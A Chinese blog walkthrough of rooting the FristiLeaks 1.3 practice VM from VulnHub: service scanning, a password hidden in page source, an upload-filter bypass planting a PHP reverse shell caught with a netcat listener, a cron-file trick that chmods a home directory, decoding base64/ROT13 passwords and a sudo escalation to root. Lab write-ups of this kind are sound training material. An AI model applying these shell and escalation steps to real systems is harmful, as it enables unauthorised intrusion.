继续撸靶机

在不看 writeup 情况下,搞到一半,无法提权,还是老老实实看 writeup 才 Get flag. XD

XD

靶机

https://www.vulnhub.com/entry/fristileaks-13,133/

前期准备

运行环境:VM Workstation,VM Esxi,VirtualBox

将下载的 ova 文件直接导入虚拟机

目标

获取 root 权限并且读取 flag

主机信息

在 VM Workstation 中打开导入的虚拟机,系统启动后可看到当前虚拟机 IP (需要更改靶机 MAC 地址为 08:00:27:A5:A6:76 ,靶机作者有说明)

靶机信息

当前靶机IP为192.168.32.128

服务发现

使用 Nmap 对靶机进行扫描

nmap扫描

可以看到目标开启了80端口并且是 PHP,访问之:

web

目录探测

使用 dirsearch 扫描 web 目录:

1
python3 dirsearch.py -u http://192.168.32.128/ -e php,html,js,json,.txt

目录扫描

依次访问并没有发现什么特别的东东,这里卡了很久o_o ….

结合首页的信息 KEEP CALM AND DRINK FRISTI 以及看了下其他人写的 writeup,确定 fristi/ 路径可用

探测 Web 服务

访问 http://192.168.32.128/fristi/

fristi

从 F12 很明显看到 head 标签的信息以及一串 Base64 编码,于是解码看看:

base64decode

很明显是一张 PNG 图片,保存下来打开:

pass

猜测可能是登录口令,尝试使用用户名 eezeepz 和口令 keKkeKKeKKeKkEkkEk 登录:

login_fristi

GetShell

到这里大概知道可以利用文件上传 getshell,于是上传一个php reverse shell 试试:

upload

看来前端限制只能上传 png,jpg,gif 格式,而使用 Burpsuite 修改后缀则成功上传(利用 Apache 2.x 多后缀解析漏洞)

burp_upload

uploadpath

kali 先 netcat 反弹:nc -lvp 4444,接着访问上传的 reverse shell :http://192.168.32.128/fristi/uploads/php_reverse_shell.php.jpg

getshell

得到反弹 shell 后,使用 python pty 获取交互式 shell(最实用之一):

1
python -c 'import pty;pty.spawn("/bin/bash")'

tty_shell

提权

一顿乱翻后,发现 notes.txt,查看之:

notes

大概意思是需要在 /tmp 下创建一个 “runthis” 文件(touch /tmp/runthis),接着赋予执行权限:

1
echo "/usr/bin/whoami && chmod -R 777 /home/admin" > /tmp/runthis

跳转至 /home/admin/ 目录并 ls 查看:

home_admin

重点关注 cryptpass.py,cryptedpass.txt,whoisyourgodnow.txt:

cryptpass.py:

1
2
3
4
5
6
7
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys
def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult

cryptedpass.txt

1
mVGZ3O3omkJLmy2pcuTq

whoisyourgodnow.txt

1
=RFn0AKnlMHMPIzpyuTI0ITG

在 cryptpass.py 中不难发现其使用了 Base64 编码和 ROT13 加密,因此使用脚本进行解密 cryptedpass.txt 和 whoisyourgodnow.txt:

1
2
3
4
5
6
import base64,codecs,sys
def decodeString(str):
    base64string = codecs.decode(str, 'rot13')
    return base64.b64decode(base64string[::-1])
decryptedResult=decodeString(sys.argv[1])
print decryptedResult

decrypt

解密得到的明文分别是 admin、fristigod 的口令,切换到fristigod 用户:

fristigod

又是一通乱翻:

bash_history

从历史记录中可以看到 fristigod 在使用 sudo 来执行命令,直接用一条历史记录中的命令创建 shell:

1
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

root

显然已经获取到 root 权限,最后获取 flag:

flag